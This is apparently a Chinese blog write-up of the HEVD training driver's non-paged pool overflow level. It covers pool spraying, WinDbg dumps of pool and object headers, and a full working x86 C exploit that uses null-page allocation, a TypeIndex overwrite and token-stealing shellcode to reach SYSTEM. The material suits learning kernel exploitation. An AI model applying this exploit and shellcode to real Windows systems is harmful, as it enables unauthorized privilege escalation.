WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

TriggerBufferOverflowNonPagedPool

0x01 简介

池溢出漏洞,还是想说一下这关难度感觉和上一关完全不是一个级别

还涉及到一些简单的池风水

后面这篇文章鸽了去学pwn了,再回来看的时候发现这和堆溢出很像,溢出到下一个池块触发漏洞

0x02 漏洞点

先来看源码

ExAllocatePoolWithTag创建一个池块名为Hack

关键点就在于size可控,通过memcpy溢出到下一个池块

可是下一个池块不能确定,所以这里需要用到池喷射

CreateEvent可以在内核池创建一块0x40大小的池块,为了确保Even块和Hack块相邻需要用下面的代码循环创建event对象

1
2
3
4
5
HANDLE event1[0x1000] = { 0 };
for (size_t i = 0; i < 0x1000; i++)
{
event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}

当内核池出现这种情况说明成功了

1
!pool address

这样可以查看内存池情况

当然不是说循环多次就必定会在Hack块下面出现,所以需要看点运气,整不好就蓝屏

接下来就是溢出到Even块后能实现什么

0x03 池头结构

_POOL_HEADER

1
2
3
4
5
6
7
8
9
kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
  • PreviousSize 前一个池块的大小
  • PoolIndex 大pool的索引,有点top thunk的感觉
  • BlockSize 当前池块大小
  • PoolType Free=0,Allocated=2
  • PoolTag 4个可打印的字符,就像上面的Hack,Even

对应2块池块来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
kd> dt nt!_POOL_HEADER 858bf140							//Hack
+0x000 PreviousSize : 0y000100000 (0x20)
//上一个堆块的大小
+0x000 PoolIndex : 0y0000000 (0)
//大pool索引
+0x002 BlockSize : 0y001000000 (0x40)
//当前池块大小,因为有8字节池块信息所以实际应该是0x200,然而这里是0x40,下面会写一下猜想
+0x002 PoolType : 0y0000010 (0x2)
//当前池块正在使用
+0x000 Ulong1 : 0x4400020
+0x004 PoolTag : 0x6b636148
+0x004 AllocatorBackTraceIndex : 0x6148
+0x006 PoolTagHash : 0x6b63
//Hack,可打印的字符
kd> dt nt!_POOL_HEADER 858bf340 //Even
+0x000 PreviousSize : 0y001000000 (0x40)
//上面的池块大小应该是0x200,这里有和上面的一样的问题
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
//一样的问题
+0x002 PoolType : 0y0000010 (0x2)
//池块正在使用
+0x000 Ulong1 : 0x4080040
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
//Eve 0xee,不太清楚为啥最后是0xee

下面是池块size的问题的猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
关于几个size位的问题,这里可能有点像堆块结构最后三位有别的用处

在第一个池块中把BlockSize和PoolType连起来看是

00100000000000010

0x200 = 001000000000

可以看到前面都是对的上的,实际的PoolType可能就只需要后面4bit来代表池块的一些状态

同样的PreviousSize和PoolIndex也可以连起来看,把最后4bit取出就可以得到正确的大小

当然这只是猜想,目前么有找到啥文章说这些,只能以后如果看到了相关文章有问题再来改

目前已看到相关文章

PreviousSize和BlockSize存储的块实际大小的右移4位

也就是 size>>4,相当于除以16

所以要得到真实快的大小需要将PreviousSize和BlockSize的值左移4位

然而算了一下感觉应该是右移3位,0x200>>0x3=0x40

那么真实的大小需要左移3位,这里还得打一个问号

_OBJECT_HEADER

这里需要借用一下先知的图

可以看到_OBJECT_HEADER在池块+0x18的位置,同样的代入Event池块

1
2
3
4
5
6
7
8
9
10
11
12
13
kd> dt nt!_OBJECT_HEADER 858bf340+18
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x875cdd80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x875cdd80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD

InfoMask为0x8代表上面用的是_OBJECT_HEADER_QUOTA_INFO

再代入一下

1
2
3
4
5
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 858bf340+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)

发现NonPagedPoolCharge为0x40,用的结构正确

其实这里就是根据掩码选择结构

不过这些不重要,重点需要关注TypeIndex

可以用TypeIndex得知池块类型在ObTypeIndexTable的位置

这里TypeIndex=0xc

看下ObTypeIndexTable

1
2
3
4
5
6
7
8
9
kd> dd ObTypeIndexTable
83f55900 00000000 bad0b0b0 85733908 85733840
83f55910 85733778 85733530 857ff040 857fff78
83f55920 857ffeb0 857ffde8 857ffd20 857ff6a0
83f55930 8581ee38 858007c8 85816470 85813418 //0xc为改行第一个8581ee38
83f55940 85813350 85814418 85814350 8581ebc8
83f55950 8581eb00 85816278 858161b0 858156e0
83f55960 85815618 85815550 85815488 858153c0
83f55970 85817040 85817b78 85817ab0 858179e8

代入_OBJECT_TYPE结构

上面看着很复杂其实只要找到_OBJECT_TYPE->TypeInfo->CloseProcedure

可以看到当前CloseProcedure为0

CloseProcedure的作用是简单理解就是在close该句柄的时候会优先调用这里的函数,为0就不调用

有点像hook的感觉

0x04 漏洞利用

结合一下上面的知识点

_OBJECT_HEADER->TypeIndex可以在ObTypeIndexTable找到对应属性

ObTypeIndexTable的第0个指针为0

只需要在溢出的时候修改下一个堆块的TypeIndex为0,系统就会去0x00000000的位置找_OBJECT_TYPE结构,在0地址伪造_OBJECT_TYPE结构

0地址用NtAllocateVirtualMemory申请

此时在0x28+0x38的位置也就是CloseProcedure位置写上指向shellcode的指针,在Event被Close的时候就会触发CloseProcedure位置的shellcode实现提权

当然上面循环了生成了0x1000个Event修改的也不知道是哪个,所以最后要循环全部释放掉

下面就可以开始写代码了,和之前的格式基本一样

创建句柄后输入控制码,Size和Buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <stdio.h>
#include <Windows.h>

typedef NTSTATUS(NTAPI *kNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);



void GetSystemToken() {
__asm {
pushad; 保存寄存器

xor eax, eax; eax置零
mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax; 将本进程EPROCESS地址复制到ecx
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token

popad; 恢复寄存器

xor eax, eax; eax置零
add esp, 12
ret
}

}



void main(char* argc, char* argv[])
{
char Buffer[0x1f8+0x29] = { 0 };
char Even[0x29] = "\x40\x00\x08\x04\x45\x76\x65\xee\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00";
//伪造Even块,这里可以把正常的Even块复制过来,只需要修改TypeIndex位置为0x0
HANDLE hDevice;
DWORD dwRet = 0;
DWORD dwSize = 0x1f8; //这里还是0x1f8是因为前8字节需要存放池块信息
DWORD dwRet2 = 0;
for (size_t i = 0; i < 0x29; i++)
{
Buffer[0x1f8 + i] = Even[i];
}
//在Hack块末尾接上伪造的Even块
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");

HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) {
printf("[-] Failed to load ntdll\n");
return;
}

kNtAllocateVirtualMemory pNtAllocateVirtualMemory = (kNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
printf("[-] Failed to resolve NtAllocateVirtualMemory.\n");
return;
}

INT base_address = 0x1;
SIZE_T region_size = 0x1000;

NTSTATUS tmp = pNtAllocateVirtualMemory(
GetCurrentProcess(),
(LPVOID*)(&base_address),
0,
&region_size,
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),
PAGE_EXECUTE_READWRITE
);
//申请0x00000000地址
if (tmp != (NTSTATUS)0x0) {
printf("[-] Failed to allocate null page.\n");
return;
}
printf("[+] NtAllocateVirtualMemory Success\n");
*(DWORD*)0x00000060 = (DWORD)&GetSystemToken;
//把shellcode指针布置在0x60的位置也就是CloseProcedure的位置
memset(Buffer, 'A', 0x1f8); //Hack填充A,不填充也可以
HANDLE event1[0x1000] = { 0 };
for (size_t i = 0; i < 0x1000; i++)
{
event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}

DeviceIoControl(hDevice, 0x22200f, Buffer, 0x1f8+0x29, NULL, 0, &dwRet, 0);
//溢出到Even块
for (size_t i = 0; i < 0x1000; i++)
{
CloseHandle(event1[i]);
}
//循环Close句柄触发CloseProcedure的函数也就是提权shellcode
STARTUPINFOA si;
PROCESS_INFORMATION pi;

if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}

}

0x05 x64

x64除了一些池块大小和结构位置不一样别的基本相同

Even块为0x80大小

Hack块前0x10用来存放信息还有0x8应该是用来对齐的

1
2
3
4
5
6
7
8
9
10
kd> dt nt!_POOL_HEADER fffffa8018efbf00
+0x000 PreviousSize : 0y00100001 (0x21)
+0x000 PoolIndex : 0y00000000 (0)
+0x000 BlockSize : 0y00001000 (0x8)
+0x000 PoolType : 0y00000010 (0x2)
+0x000 Ulong1 : 0x2080021
+0x004 PoolTag : 0xee657645
+0x008 ProcessBilled : 0x00000000`00000bd0 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xbd0
+0x00a PoolTagHash : 0

相比之下还多了PoolTagHash

_OBJECT_HEADER在堆块+0x30的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kd> dt _OBJECT_HEADER fffffa8018efbf00+30
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n1
+0x008 HandleCount : 0n1
+0x008 NextToFree : 0x00000000`00000001 Void
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : 0xc ''
+0x019 TraceFlags : 0 ''
+0x01a InfoMask : 0x8 ''
+0x01b Flags : 0 ''
+0x020 ObjectCreateInfo : 0xfffffa80`1b071900 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : 0xfffffa80`1b071900 Void
+0x028 SecurityDescriptor : (null)
+0x030 Body : _QUAD

CloseProcedure在0x80的位置

知道这些就可以编写64位的exp了

详细的代码就放github好了